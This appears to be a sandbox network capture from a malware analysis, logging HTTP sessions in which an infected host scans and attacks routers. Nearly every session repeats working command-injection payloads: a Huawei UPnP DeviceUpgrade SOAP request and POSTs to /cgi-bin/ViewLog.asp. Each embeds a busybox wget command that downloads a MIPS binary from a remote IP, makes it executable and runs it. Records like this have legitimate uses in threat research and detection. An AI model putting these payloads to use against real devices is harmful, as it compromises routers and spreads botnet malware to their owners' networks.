2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:56.635519028 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:45.786304951 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                69192.168.2.1536364111.230.243.5023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:10.521285057 CET219INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 32 30 3a 30 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:20:08Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                70192.168.2.1536382111.230.243.5023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.197170019 CET219INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 32 30 3a 30 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:20:08Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                71192.168.2.154749831.136.136.368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.482490063 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:14.652698994 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:20.796506882 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:32.828175068 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:58.683423042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:47.834202051 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                72192.168.2.154320094.16.118.1008080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.485012054 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:11.673247099 CET261INHTTP/1.1 404 Not Found
                                                Content-Type: text/plain; charset=utf-8
                                                X-Content-Type-Options: nosniff
                                                Date: Thu, 23 Nov 2023 04:20:11 GMT
                                                Content-Length: 19
                                                Connection: close
                                                Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a
                                                Data Ascii: 404 page not found


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                73192.168.2.155829494.79.132.1168080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.491523027 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:11.688678026 CET544INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:20:11 GMT
                                                Server: Apache
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                74192.168.2.155511894.110.116.2068080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.505325079 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                75192.168.2.154400094.187.112.1708080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.515609980 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                76192.168.2.155976294.121.129.2038080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.521037102 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                77192.168.2.154096631.200.0.2248080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.523809910 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                78192.168.2.155183894.122.1.398080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.524518967 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                79192.168.2.153997294.110.25.948080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.529499054 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                80192.168.2.154134431.128.207.2128080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.537614107 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:11.778673887 CET403INHTTP/1.1 500 Internal Server Error
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 130
                                                Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
                                                Connection: close
